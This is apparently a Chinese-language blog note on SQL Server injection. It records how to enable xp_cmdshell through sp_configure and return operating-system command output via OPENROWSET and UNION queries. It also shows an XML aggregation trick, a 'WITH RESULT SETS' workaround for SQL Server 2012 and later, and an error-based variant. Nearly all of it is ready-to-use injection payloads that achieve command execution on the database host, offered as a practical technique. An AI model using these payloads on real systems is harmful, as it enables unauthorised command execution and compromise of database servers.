高版本SqlServer特性导致的语句出错,做个记录。
SysAdmin服务器角色的SqlServer注入可以使用OpenRowSet直接获取xp_cmdshell回显,大致是这样:
exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure; select '1' where 1=2 union select * from openrowset( 'sqloledb','trusted_connection=yes', 'set fmtonly off exec master..xp_cmdshell ''whoami /all''')
可以看到这样的返回:
由于顺序乱了,一般来说都套一层子查询,用xml来聚合:
select 1 as a,'a' as b where 1=2 union select 1,a from ( select(select output+'这里是一个需要在http包中编码的换行符0x0a' from openrowset('sqloledb','trusted_connection=yes', 'set fmtonly off exec master..xp_cmdshell ''whoami /all''') for xml path('')) as a)b
optput字段是exec默认的列名,加个换行保持原格式的同时还能屏蔽xml标签,最后起个别名union出来。
返回结果是这样的:
写这么复杂也是迫不得已,聚合之后的xml实际上不是结果集,是个标量,标量的列名是个随机数:
所以只能嵌套在子查询中改个名字来union。
这种方法不用临时表就能直接取得返回的结果,方便之处不必多说。只可惜在高版本直接执行会返回一个错误:
消息 11519,级别 16,状态 1,过程 sp_describe_first_result_set,第 1 行 无法确定元数据,因为语句“exec master..xp_cmdshell 'dir'”调用扩展存储过程。
查看exec的官方文档(https://msdn.microsoft.com/zh-cn/library/ms188332.aspx ),发现从SqlServer 2012开始添加一个新特性RESULT SETS,官方的解释是“定义返回结果集的类型”。
xp_cmdshell返回单列结果集,所以相应的语句要修改为:
select * from openrowset('sqloledb','trusted_connection=yes', 'set fmtonly off exec master..xp_cmdshell ''whoami'' with RESULT SETS((a varchar(max)))')
修改后执行成功:
顺便,能够报错的时候可以这样做:
select 1 where (select a+'' from openrowset( 'sqloledb','trusted_connection=yes', 'set fmtonly off exec master..xp_cmdshell ''whoami'' with RESULT SETS((a varchar(max)))') for xml path(''))>1
好好的默认结果集被和谐,微软也是闲的……